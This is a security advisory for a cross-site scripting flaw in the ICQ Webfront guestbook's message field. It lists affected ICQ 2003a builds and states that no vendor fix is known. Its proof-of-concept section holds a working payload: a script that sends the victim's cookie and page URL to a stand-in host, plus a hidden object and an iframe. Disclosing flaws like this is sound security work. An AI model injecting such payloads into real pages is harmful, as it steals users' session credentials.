ICQ Webfront guestbook Cross-Site Scripting Vulnerability

BID:8563

Info

ICQ Webfront guestbook Cross-Site Scripting Vulnerability

Bugtraq ID: 8563
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 08 2003 12:00AM
Updated: Sep 08 2003 12:00AM
Credit: The disclosure of this vulnerability has been credited to Donnie Werner <[email protected]>.
Vulnerable: Mirabilis ICQ 2003 a Build#3800
Mirabilis ICQ 2003 a Build#3799
Mirabilis ICQ 2003 a Build#3777
Not Vulnerable:

Discussion

ICQ Webfront guestbook Cross-Site Scripting Vulnerability

It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.

Exploit / POC

ICQ Webfront guestbook Cross-Site Scripting Vulnerability

The following proof of concept was provided:

<object style="display:none" data="http://www.example.com/bad.asp"></object>
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
<iframe src="http://www.example.com"></iframe>

Solution / Fix

ICQ Webfront guestbook Cross-Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

ICQ Webfront guestbook Cross-Site Scripting Vulnerability

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